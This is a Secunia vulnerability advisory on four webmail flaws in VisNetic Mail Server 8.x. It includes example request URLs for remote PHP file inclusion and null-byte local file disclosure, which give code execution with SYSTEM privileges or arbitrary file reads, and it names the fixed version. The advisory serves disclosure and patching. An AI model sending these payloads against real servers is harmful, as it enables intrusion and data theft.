TITLE:
VisNetic Mail Server Multiple Webmail Vulnerabilities

SECUNIA ADVISORY ID:
SA17865

VERIFY ADVISORY:
http://secunia.com/advisories/17865/

CRITICAL:
Highly critical

IMPACT:
Exposure of sensitive information, System access

WHERE:
>From remote

SOFTWARE:
VisNetic Mail Server 8.x
http://secunia.com/product/5610/

DESCRIPTION:
Secunia Research has discovered some vulnerabilities in VisNetic Mail
Server, which can be exploited by malicious users and by malicious
people to disclose potentially sensitive information and to
compromise a vulnerable system.

1) The webmail and webadmin services run with PHP configured with
"register_global" enabled. The "language" and "lang_settings"
variables in "/accounts/inc/include.php" and "/admin/inc/include.php"
are not properly initialised when the scripts are accessed directly.
This makes it possible to overwrite the variables to cause the
scripts to include arbitrary PHP scripts from local and remote
sources.

Example:
http://[host]:32000/accounts/inc/include.php?language=0&lang_settings[0][1]=http://[host]/
http://[host]:32000/admin/inc/include.php?language=0&lang_settings[0][1]=http://[host]/

Successful exploitation allows execution of arbitrary PHP code on a
vulnerable server with SYSTEM privileges without requiring
authentication.

2) Input passed to the "lang" parameter in "/dir/include.html" isn't
properly validated before being used to include files. This can be
exploited to include arbitrary files from local sources.

Example:
http://[host]:32000/dir/include.html?lang=[file]%00

Successful exploitation allows disclosure of arbitrary files on a
vulnerable server without requiring authentication.

3) Input passed to the "language" parameter in "/mail/settings.html"
isn't properly validated before being saved to the database. This can
be exploited in conjunction with overwrite of the "lang_settings"
variable, to include arbitrary PHP scripts from local and remote
sources.

Example:
http://[host]:32000/mail/settings.html?id=[current_id]&Save_x=1&language=TEST
http://[host]:32000/mail/index.html?id=[current_id]&lang_settings[TEST]=test;http://[host]/;

Successful exploitation allows execution of arbitrary PHP scripts on
a vulnerable server with SYSTEM privileges but requires a valid
logon.

4) The "default_layout" and "layout_settings" variables are not
properly initialised when "/mail/include.html" encounters a
HTTP_USER_AGENT string that it does not recognise. This can be
exploited in conjunction with overwrite of the "default_layout" and
"layout_settings" variables to disclose the content of local files.

Example (using non-IE/Mozilla/Firefox browser):
http://[host]:32000/mail/index.html?/mail/index.html?
default_layout=OUTLOOK2003&layout_settings[OUTLOOK2003]=test;[file]%00;2

Successful exploitation allows disclosure of arbitrary files on a
vulnerable server without requiring authentication.

The vulnerabilities have been confirmed in version 8.3.0 build 1
General Availability Release [2005-12-02]. Prior versions may also be
affected.

SOLUTION:
Update to version 8.3.5.
http://www.deerfield.com/download/visnetic-mailserver/

PROVIDED AND/OR DISCOVERED BY:
Tan Chew Keong, Secunia Research.

ORIGINAL ADVISORY:
Secunia Research:
http://secunia.com/secunia_research/2005-62/advisory/

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About:
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